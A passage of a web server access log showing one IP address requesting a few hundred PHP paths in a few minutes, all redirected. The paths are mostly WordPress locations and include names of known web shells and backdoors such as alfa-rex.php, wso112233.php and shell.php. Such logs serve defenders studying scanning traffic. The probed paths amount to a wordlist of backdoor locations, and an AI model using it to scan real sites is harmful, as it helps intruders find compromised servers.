HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:45 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:45 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:46 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:47 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:47 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:48 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:49 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:49 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:50 -0400] "GET /Assets/item.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:51 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:52 -0400] "GET /th/plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:52 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:53 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:53 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:54 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:55 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:56 -0400] "GET /wp-includes/block-patterns/vuln.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:56 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:57 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:58 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:59 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:00 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:02 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:04 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:05 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:06 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:07 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:09 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:10 -0400] "GET /wp-content/plugins/background-image-cropper/plugins.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:12 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:13 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:14 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:15 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:15 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:16 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:17 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:18 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:19 -0400] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:19 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:20 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:21 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:21 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:22 -0400] "GET /wp-includes/SimplePie/Cache/content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:23 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:24 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:24 -0400] "GET /wp-mail.php/wp-includes/ID3/taptap-null.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:25 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:25 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:26 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:26 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:26 -0400] "GET /wp-content/plugins/duplicator/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:27 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:28 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:28 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:28 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:29 -0400] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:29 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:30 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:30 -0400] "GET /wp-includes/js/crop/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:30 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:31 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:31 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:32 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:32 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:32 -0400] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:33 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:33 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:34 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:34 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:34 -0400] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:35 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:35 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:35 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:36 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:37 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:37 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:37 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:38 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:38 -0400] "GET /wp-includes/Requests/Response/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:39 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:39 -0400] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:40 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:41 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:41 -0400] "GET /wp-mail.php/wp-includes/ID3/wp-mail.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:42 -0400] "GET /wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:43 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:43 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:44 -0400] "GET /css/item.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:44 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:45 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:45 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:46 -0400] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:46 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:47 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:48 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:49 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:50 -0400] "GET /wp-includes/SimplePie/Content/Type/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:50 -0400] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:51 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:52 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:52 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:53 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:54 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:55 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:55 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:56 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:57 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:58 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:58 -0400] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:55:59 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:00 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:00 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:01 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:02 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:03 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:03 -0400] "GET /.well-known/.well-known/cc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:05 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:06 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:06 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:07 -0400] "GET /wp-includes/customize/shell.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:09 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:09 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:10 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:12 -0400] "GET /cgi-bin/fm.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:13 -0400] "GET /wp-includes/block-supports/variations.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:14 -0400] "GET /wp-includes/rest-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:15 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:16 -0400] "GET /wp-content/languages/link.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:17 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:18 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:20 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:20 -0400] "GET /wp-includes/fonts/item.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:21 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:22 -0400] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:22 -0400] "GET /wp-content/plugins/seoplugins/wso112233.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:23 -0400] "GET /wp-includes/sodium_compat/link.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:24 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:24 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:25 -0400] "GET /wp-content/plugins/WordPressCore/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:26 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:27 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:28 -0400] "GET /wordpress/wp-admin/includeswp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:29 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:29 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:29 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:30 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:30 -0400] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:31 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:31 -0400] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:31 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:32 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:32 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:33 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:33 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:33 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:34 -0400] "GET /admin/ty.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:35 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:35 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:36 -0400] "GET /wp-content/themes/cay-van-phong/3luaO.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:36 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:37 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:38 -0400] "GET /wp-mail.php/wp-includes/ID3/info.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:38 -0400] "GET /admin/images/slider/CUfcfoH.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:38 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:39 -0400] "GET /wp-includes/blocks/edit.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:40 -0400] "GET /wp-includes/lock.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:40 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:41 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:42 -0400] "GET /wp-includes/certificates/up.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:42 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:43 -0400] "GET /admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:43 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:44 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:45 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:46 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:46 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:47 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:47 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:48 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:49 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:50 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:51 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:51 -0400] "GET /include/mail.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:52 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:53 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:53 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:54 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:55 -0400] "GET /wp-content/plugins/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:55 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:56 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:56 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:57 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:58 -0400] "GET /wp-includes/SimplePie/Decode/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:58 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:59 -0400] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:56:59 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:00 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:01 -0400] "GET /wp-content/upgrade/info.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:01 -0400] "GET /wp-includes/Requests/Cookie/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:02 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:02 -0400] "GET /plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:02 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:03 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:03 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:04 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:05 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:05 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:06 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:06 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:07 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:07 -0400] "GET /.well-known/pki-validation/siteindex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:07 -0400] "GET /plugins/DaoZM.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:08 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:09 -0400] "GET /cgi-bin/1.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:09 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:10 -0400] "GET /wp-content/plugins/pwnd/gecko.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:10 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:11 -0400] "GET /assets/item.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:12 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:57:13 -0400] "GET /about/wp-conflg.php 